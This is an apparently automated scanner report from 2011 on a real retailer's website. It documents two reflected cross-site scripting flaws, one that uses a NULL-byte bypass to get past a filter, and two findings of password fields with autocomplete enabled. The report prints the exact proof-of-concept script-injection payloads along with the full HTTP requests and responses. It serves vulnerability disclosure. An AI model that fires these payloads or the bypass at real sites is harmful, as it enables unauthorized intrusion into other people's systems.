wholefoodsmarket.com, XSS, Cross Site Scripting, CWE-79, CAPEC-86

XSS in wholefoodsmarket.com | Vulnerability Crawler Report

Report generated by XSS.CX at Mon Jan 03 13:42:53 CST 2011.

Contents

Loading

1. Cross-site scripting (reflected)

1.1. http://www.wholefoodsmarket.com/stores/StoreLocations.php [REST URL parameter 1]

1.2. http://www.wholefoodsmarket.com/stores/StoreLocations.php [name of an arbitrarily supplied request parameter]

2. Password field with autocomplete enabled

2.1. http://www.wholefoodsmarket.com/

2.2. http://www.wholefoodsmarket.com/stores/StoreLocations.php


1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.wholefoodsmarket.com/stores/StoreLocations.php [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.wholefoodsmarket.com
Path:   /stores/StoreLocations.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload %00e9f92'><script>alert(1)</script>472941b9d55 was submitted in the REST URL parameter 1. This input was echoed as e9f92'><script>alert(1)</script>472941b9d55 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /stores%00e9f92'><script>alert(1)</script>472941b9d55/StoreLocations.php HTTP/1.1
Host: www.wholefoodsmarket.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Mon, 03 Jan 2011 16:28:54 GMT
Server: Apache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 28627

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <title>404 - Page Not Foun
...[SNIP]...
<a href='/users/login.php?url=?url=http://www.wholefoodsmarket.com/stores%00e9f92'><script>alert(1)</script>472941b9d55/StoreLocations.php'>
...[SNIP]...
1.2. http://www.wholefoodsmarket.com/stores/StoreLocations.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.wholefoodsmarket.com
Path:   /stores/StoreLocations.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 40435'><script>alert(1)</script>a32947a39f1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /stores/StoreLocations.php?40435'><script>alert(1)</script>a32947a39f1=1 HTTP/1.1
Host: www.wholefoodsmarket.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Mon, 03 Jan 2011 16:28:50 GMT
Server: Apache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 28627

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <title>404 - Page Not Foun
...[SNIP]...
<a href='/users/login.php?url=?url=http://www.wholefoodsmarket.com/stores/StoreLocations.php?40435'><script>alert(1)</script>a32947a39f1=1'>
...[SNIP]...
2. Password field with autocomplete enabled  previous
There are 2 instances of this issue:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

2.1. http://www.wholefoodsmarket.com/  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.wholefoodsmarket.com
Path:   /

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET / HTTP/1.1
Host: www.wholefoodsmarket.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 03 Jan 2011 16:32:22 GMT
Server: Apache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 30185


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <title>Whole Foods Market: Na
...[SNIP]...
<fieldset id="signin_menu">
<form method="post" id="signin" action="https://www.wholefoodsmarket.com/users/mlogin.php">
   <label for="email">
...[SNIP]...
</label>
    <input id="password" name="password" value="" title="Text: enter your password" type="password" />
   </p>
...[SNIP]...
2.2. http://www.wholefoodsmarket.com/stores/StoreLocations.php  previous

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.wholefoodsmarket.com
Path:   /stores/StoreLocations.php

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /stores/StoreLocations.php HTTP/1.1
Host: www.wholefoodsmarket.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Mon, 03 Jan 2011 16:28:47 GMT
Server: Apache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 28535

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <title>404 - Page Not Foun
...[SNIP]...
<fieldset id="signin_menu">
<form method="post" id="signin" action="https://www.wholefoodsmarket.com/users/mlogin.php">
   <label for="email">
...[SNIP]...
</label>
    <input id="password" name="password" value="" title="Text: enter your password" type="password" />
   </p>
...[SNIP]...
Report generated by XSS.CX at Mon Jan 03 13:42:53 CST 2011.